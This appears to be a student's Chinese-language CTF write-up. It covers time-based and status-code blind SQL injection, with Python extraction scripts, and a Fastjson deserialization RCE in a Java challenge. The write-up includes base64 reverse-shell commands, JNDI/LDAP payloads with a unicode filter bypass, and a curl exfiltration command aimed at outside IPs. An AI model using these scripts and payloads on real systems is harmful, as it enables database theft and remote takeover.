SQL注入有趣姿势总结

笛卡尔积盲注

听学长说就是:就是就是查询数据太多了 时间比较长 就造成延时了

记下记下!😫😫😫

COUNT(*)函数返回由SELECT语句返回的结果集中的行数。COUNT(*)函数计算包含NULL和非NULL值的行,即:

image-20210318235754430

image-20210318235808704

根据它的响应时间来看!

image-20210319153206590

可以看到:

当 语句执行失败时是 延迟2秒

image-20210319200051919

当语句执行成功时是 延迟 8秒

image-20210319201029876

再研究研究exp

大佬写的!

tql:

大佬写的exp很值得学习!

测试exp

import requests

url = "http://127.0.0.1/sqli-labs-master/Less-1/"

for i in range(1,50):
# f1=flag
top=127
low=33
while low<=top:
mid=(top+low)//2

p2="1'/**/and/**/if(ascii(substr((select/**/group_concat(password)/**/from/**/users),{},1))<{},1,0)/**/and/**/(SELECT/**/count(*)/**/FROM/**/information_schema.tables/**/A,/**/information_schema.tables/**/B,information_schema.tables/**/C)/**/-- -".format(i,mid)

data2={'id' : p2}

try :
r = requests.get(url=url,params=data2,timeout=5)

print(p2)

except Exception as e:
print('yichang !')

我先测试测试:

最近学py:

分析分析:

原理 : 二分 + 思路

思路: 就是语句执行不是8s嘛 语句报错是2s

那加个timeout=5 当 延迟大于5秒直接异常!说明语句成功!

延迟小于 5s说明语句执行失败! 失败就二分下!

还可以直接添加个 = 号语句 快速判断!

exp@

import requests
url="http://127.0.0.1/sqli-labs-master/Less-1/"
flag=''
for i in range(1,50):
f1=flag
top=127
low=33
while low<=top:
mid=(top+low)//2
#p1="admin'/**/and/**/if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name='user'),{},1))={},1,0)/**/and/**/(SELECT/**/count(*)/**/FROM/**/information_schema.tables/**/A,/**/information_schema.tables/**/B,information_schema.tables/**/C)#".format(i,mid)
#p2="admin'/**/and/**/if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name='user'),{},1))>{},1,0)/**/and/**/(SELECT/**/count(*)/**/FROM/**/information_schema.tables/**/A,/**/information_schema.tables/**/B,information_schema.tables/**/C)#".format(i,mid)
p1="1'/**/and/**/if(ascii(substr((select/**/group_concat(password)/**/from/**/users),{},1))={},1,0)/**/and/**/(SELECT/**/count(*)/**/FROM/**/information_schema.tables/**/A,/**/information_schema.tables/**/B,information_schema.tables/**/C)/**/#".format(i,mid)
p2="1'/**/and/**/if(ascii(substr((select/**/group_concat(password)/**/from/**/users),{},1))>{},1,0)/**/and/**/(SELECT/**/count(*)/**/FROM/**/information_schema.tables/**/A,/**/information_schema.tables/**/B,information_schema.tables/**/C)/**/#".format(i,mid)
data1={'id' : p1}
data2={'id' : p2}
try:
print(i,mid)
#延迟大与5秒 说明执行了 一旦延迟大于5秒 就会异常
r1=requests.get(url,params=data1,timeout=5)
print(r1.url)
#延迟大于5 秒异常 说明语句执行成功!
except requests.exceptions.ReadTimeout as e:
flag+=chr(mid)
print(flag)
break
except Exception as e:
pass
else:
try:
r2=requests.get(url,params=data2,timeout=5)
print(url)
except requests.exceptions.ReadTimeout as e:
low=mid+1
except Exception as e:
pass
else:
top=mid-1
if flag==f1:
break
# user

大佬还给了个思路:

HTTP状态码注入:

有时候sql语句错误 页面就会报错! 页面就是500!

不能直接写一个 > 的二分! 这样没思路! 所以配合 = 来写

一般500是说明 sql语句错误
200 sql语句正确

那思路就是:
(select/**/group_concat(password)/**/from/**/users),{},1))={},1,0)
写一个 = 语句 如果正确就flag+=chr(mid)

那怎么找到正确的值呢:
再写一个: > 语句
(select/**/group_concat(password)/**/from/**/users),{},1))>{},1,0)
如果正确就 二分:low=mid+1
错误就: top=mid-1

然后循环找到正确的mid
返回200 就可以!

exp

import requests

url = "http://127.0.0.1/sqli-labs-master/Less-1/"

flag='flag : '
for i in range(1,50):
f1=flag
top=127
low=33
while low<=top:
mid=(top+low)//2

p2="1'/**/and/**/if(ascii(substr((select/**/group_concat(password)/**/from/**/users),{},1))={},1,0)/**/and/**/(SELECT/**/count(*)/**/FROM/**/information_schema.tables/**/A,/**/information_schema.tables/**/B,information_schema.tables/**/C)/**/-- -".format(i,mid)
p1="1'/**/and/**/if(ascii(substr((select/**/group_concat(password)/**/from/**/users),{},1))>{},1,0)/**/and/**/(SELECT/**/count(*)/**/FROM/**/information_schema.tables/**/A,/**/information_schema.tables/**/B,information_schema.tables/**/C)/**/-- -".format(i,mid)
data2={'id' : p2}
data1={'id' : p1}


try :
# 有时候sql语句错误 页面就会报错就是是 500
r = requests.get(url=url,params=data2)
print(r.url)
print(r.status_code)
if(r.status_code == 200):
print(111)
flag+=chr(mid)
print(flag)
break
else:

r1 = requests.get(url=url,params=data1)
if r1.status_code == 200 :
low=mid+1
else:
top=mid-1

except Exception as e:
print('yichang !')

if flag == f1:
break

就是和bool注入一样!

200 是回显

又看了看一起的sql注入exp

分两种:

一种是直接 >

另一种是 = 和 >

直接 > 就是 正确还是错误都 经过二分 最后找到 mid

= 和 > 就是用两个 payload

一个原来 判断是否直接正确

另一个来二分找正确的mid

啊啊啊! 代码确实难搞! 理解理解!

还又大佬的wp也可以学习!

来复现wp

先看http状态码注入

原理:就是mysql语句执行错误,服务器就会报错!状态码就是500

例如:

select if((select 1), 1, (select 1 from mysql.user));
返回200

select if((select 0), 1, (select 1 from mysql.user));
返回500
因为 (select * from )语句错误的!

一开始以为 后面的随便写! 但好像不行!
那用大佬的把!

image-20210315182823975

image-20210408201803983

image-20210408202019281

image-20210408202053785

exp

import requests
import time
url = 'http://7c2bc247-f877-4891-91c1-5be0af85a75c.node3.buuoj.cn/user/login'
flag = ''
for i in range(1,250):
low = 32
high = 128
mid = (low+high)//2
while(low<high):
#payload = "' or if((select ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)))>%d,1,(select 1 from mysql.user))#" %(i,mid)
#payload = "' or if((select ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='user'),%d,1)))>%d,1,(select 1 from mysql.user))#" %(i,mid)
payload = "' or if((select ascii(substr((select password from user where username='admin'),%d,1)))>%d,1,(select 1 from mysql.user))#" % (i, mid)
datas = {
"username":"admin",
"password": payload
}
res = requests.post(url=url,data=datas)

if res.status_code == 200: # 为真时,即判断正确的时候的条件
low = mid+1
elif res.status_code == 429:
time.sleep(4)

else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)

卡尔积延时注入的脚本

笛卡尔积延时注入

count(*) 后面所有表中的列笛卡尔积数,数量越多越卡,就会有延迟,类似之前某比赛pgsql的延时注入也可以利用此来打时间差,从而达到延时注入的效果:

就是执行语句太多了!

SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;

select * from ctf_test where user='1' and 1=1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C);

exp

import requests
url = 'http://4.c56083ac-9da0-437e-9b51-5db047b150aa.jvav.vnctf2021.node4.buuoj.cn:82/user/login'
flag = ''
for i in range(1,250):
low = 32
high = 128
mid = (low+high)//2
while(low<high):
#payload = "' or if((select ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)))>%d,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C),1)#" %(i,mid)
#payload = "' or if((select ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='user'),%d,1)))>%d,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C),1)#" %(i,mid)
payload = "' or if((select ascii(substr((select password from user where username='admin'),%d,1)))>%d,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C),1)#" % (i, mid)
datas = {
"username":"admin",
"password": payload
}
res = requests.post(url=url,data=datas,timeout=None) # 不限制超时

if '504 Gateway Time-out' in res.text: # 为真时,即判断正确的时候的条件
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)

buu的笛卡儿积注入不出来! 他的环境问题没事!

java题部分

image-20210409000336128

直接目录穿越

pom.xml

POM是项目对象模型(Project Object Model)的简称,它是Maven项目中的文件,使用XML表示,名称叫做pom.xml。作用类似ant的build.xml文件,功能更强大。该文件用于管理:源代码、配置文件、开发者的信息和角色、问题追踪系统、组织信息、项目授权、项目的url、项目的依赖关系等等。事实上,在Maven世界中,project可以什么都没有,甚至没有代码,但是必须包含pom.xml文件。

image-20210409000622587

读取pom.xml

image-20210409000659546

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.1.3.RELEASE</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.example</groupId>
<artifactId>springbootdemo</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>springbootdemo</name>
<description>vn&apos;s Demo for Spring Boot</description>
<properties>
<java.version>1.8</java.version>
</properties>

<build>
<plugins>
<plugin>
<groupId>org.mybatis.generator</groupId>
<artifactId>mybatis-generator-maven-plugin</artifactId>
<version>1.3.2</version>
<configuration>
<configurationFile>src/main/resources/generator/generatorConfig.xml</configurationFile>
<overwrite>true</overwrite>
<verbose>true</verbose>
</configuration>
</plugin>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
<executions>
<execution>
<goals>
<goal>repackage</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
<resources>
<resource>
<directory>src/main/java</directory>
<includes>
<include>**/*.xml</include>
</includes>
</resource>
<resource>
<directory>src/main/resources</directory>
</resource>

</resources>
</build>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-jdbc</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.mybatis.spring.boot</groupId>
<artifactId>mybatis-spring-boot-starter</artifactId>
<version>2.1.4</version>
</dependency>
<dependency>
<groupId>org.mybatis.generator</groupId>
<artifactId>mybatis-generator-core</artifactId>
<version>1.3.2</version>
</dependency>

<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.27</version>
</dependency>


<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>

</dependencies>

<repositories>
<repository>
<id>nexus-aliyun</id>
<name>nexus-aliyun</name>
<url>http://maven.aliyun.com/nexus/content/groups/public/</url>
<releases>
<enabled>true</enabled>
</releases>
<snapshots>
<enabled>false</enabled>
</snapshots>
</repository>
</repositories>



</project>

看到fastjson 像这种东西!今天问学长了 就是 把json对象转换成java对象的东西!知道就行了!


<java.version>1.8</java.version>
<artifactId>fastjson</artifactId>
<version>1.2.27</version>

一般都有fastjson 反序列化漏洞! java反序列化漏洞好多!

java漏洞多的原因 是 jdk版本太低了!

发现存在Fastjson,这是是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。并且该Fastjson的版本为1.2.27,该版本的Fastjson存在远程命令执行漏洞。

fastjson <1.2.47反序列化漏洞

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDEuNTcuNzIvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}" -A "47.101.57.72"

bash -c {echo,YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvNDcuOTQuMC4yNTAvMSA8JjEn}|{base64,-d}|{bash,-i}

用法:bash -c "cmd string"
通常使用shell去运行脚本,两种方法 bash xxx.sh,另外一种就是bash -c "cmd string"

image-20210409003156713

有过滤

image-20210409003238033

unicode绕过

下载 JNDI-Injection-Exploit 工具,执行如下命令搭建ldap服务

生成java反弹shell网站

利用payload:

roleJson={"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"name":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://47.101.57.72:1389/yhqxxx","autoCommit":true}}

unicode绕过

roleJson={"e":{"\u0040\u0074\u0079\u0070\u0065":"\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0043\u006c\u0061\u0073\u0073","\u0076\u0061\u006c":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"},"name":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"ldap://47.94.0.250:1389/zir0gv","\u0061\u0075\u0074\u006f\u0043\u006f\u006d\u006d\u0069\u0074":true}

也可以直接curl带出来

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "curl 47.94.0.250:1 -F file=@/flag_no_one_know_abccba.txt" -A 47.94.0.250

文件名是 flag还好!不还是要反弹shell!

文章

https://paper.seebug.org/1091/#jndi_6